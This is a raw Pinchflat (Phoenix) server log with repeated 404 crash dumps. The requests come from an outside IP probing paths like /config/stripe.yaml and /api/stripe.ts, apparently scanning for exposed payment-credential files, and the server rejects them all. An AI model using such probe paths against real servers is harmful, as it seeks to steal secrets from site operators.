s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.810 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.810 [error] #PID<0.3386.0> running PinchflatWeb.Endpoint (connection #PID<0.3385.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/stripe.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3385.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.yaml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50018}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3386.0>, params: %{}, path_info: ["config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/stripe.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-uTAPRa6UE4AAQaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3385.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.yaml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50018}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3385.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.yaml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50018}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3386.0>, params: %{}, path_info: ["config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {" (truncated) 21:08:43.944 [info] GET /config/stripe.yml 21:08:43.945 [debug] QUERY OK source="settings" db=0.1ms idle=183.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.945 [debug] QUERY OK source="settings" db=0.0ms idle=140.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.945 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.945 [error] #PID<0.3388.0> running PinchflatWeb.Endpoint (connection #PID<0.3387.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/stripe.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3387.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50026}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3388.0>, params: %{}, path_info: ["config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/stripe.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-uzKB4e6TZMAAQcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3387.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50026}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3387.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50026}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3388.0>, params: %{}, path_info: ["config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-for (truncated) 21:08:43.970 [info] GET /config/stripe.ts 21:08:43.970 [debug] QUERY OK source="settings" db=0.1ms idle=165.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.970 [debug] QUERY OK source="settings" db=0.1ms idle=160.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.970 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.971 [error] #PID<0.3390.0> running PinchflatWeb.Endpoint (connection #PID<0.3389.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/stripe.ts ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3389.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.ts", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50030}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3390.0>, params: %{}, path_info: ["config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/stripe.ts", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-u5Kkr0SJ2kAAHOC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3389.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.ts", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50030}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3389.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.ts", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50030}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3390.0>, params: %{}, path_info: ["config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarde (truncated) 21:08:44.366 [info] GET /api/stripe.ts 21:08:44.367 [debug] QUERY OK source="settings" db=0.1ms idle=421.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.367 [debug] QUERY OK source="settings" db=0.1ms idle=421.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.367 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.367 [error] #PID<0.3392.0> running PinchflatWeb.Endpoint (connection #PID<0.3391.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/stripe.ts ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe.ts", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50038}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3392.0>, params: %{}, path_info: ["api", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/stripe.ts", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-wXsMUqr2v0AAHQC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe.ts", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50038}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3391.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe.ts", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50038}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3392.0>, params: %{}, path_info: ["api", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, 